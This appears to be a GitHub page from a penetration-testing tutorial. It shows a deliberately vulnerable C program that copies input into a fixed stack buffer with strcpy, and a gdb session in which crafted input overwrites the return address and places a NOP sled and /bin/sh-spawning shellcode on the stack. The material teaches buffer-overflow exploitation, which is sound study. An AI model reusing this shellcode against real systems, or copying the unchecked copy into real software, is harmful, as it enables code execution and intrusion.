hamza-megahed / pentest-with-shellcode Goto Github PK

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copy_to_buffer(char* input)
{
    char buffer[50];
    strcpy (buffer,input);
    return 0;
}

void main (int argc, char *argv[])
{
   int local_variable = 1;
   copy_to_buffer(argv[1]);
   exit(0);
}

(gdb) 
(gdb) 
(gdb) break main
Breakpoint 1 at 0x58b
(gdb) run $(cat 3.txt)
Starting program: /home/shellcodes/exploit_shellcode/buff $(cat 3.txt)

Breakpoint 1, 0x5655558b in main ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $esp - 100
0xffffd0cc:	0x5655556f	0xffffd0ee	0xffffd3e1	0xffffd0fb
0xffffd0dc:	0x56555559	0x000000c2	0x00000000	0x00c30000
0xffffd0ec:	0x90900001	0x90909090	0x90909090	0x90909090
0xffffd0fc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd10c:	0x90909090	0x90909090	0x90909090	0x50c03190
0xffffd11c:	0x732f2f68	0x622f6868	0xe3876e69	0x80cd0bb0
0xffffd12c:	0x42424242

(gdb) run $(cat 3.txt)
Starting program: /home/shellcodes/exploit_shellcode/buff $(cat 3.txt)

Program received signal SIGSEGV, Segmentation fault.
0xffffd126 in ?? ()
(gdb) x/100x $esp - 100
0xffffd0c0:	0xffffd0fa	0x56556fd4	0xf7f9d000	0x5655556f
0xffffd0d0:	0xffffd0ee	0xffffd3e1	0xffffd0fb	0x56555559
0xffffd0e0:	0x000000c2	0x00000000	0x00c30000	0x90900001
0xffffd0f0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd100:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd110:	0x90909090	0x90909090	0x50c03190	0x732f2f68
0xffffd120:	0x622f6868	0x6e69622f	0x68732f2f	0x00000000
0xffffd130:	0xffffd300	0x56556fd4	0x00000002	0x56555593
0xffffd140:	0x00000002	0xffffd204	0xffffd210	0x00000001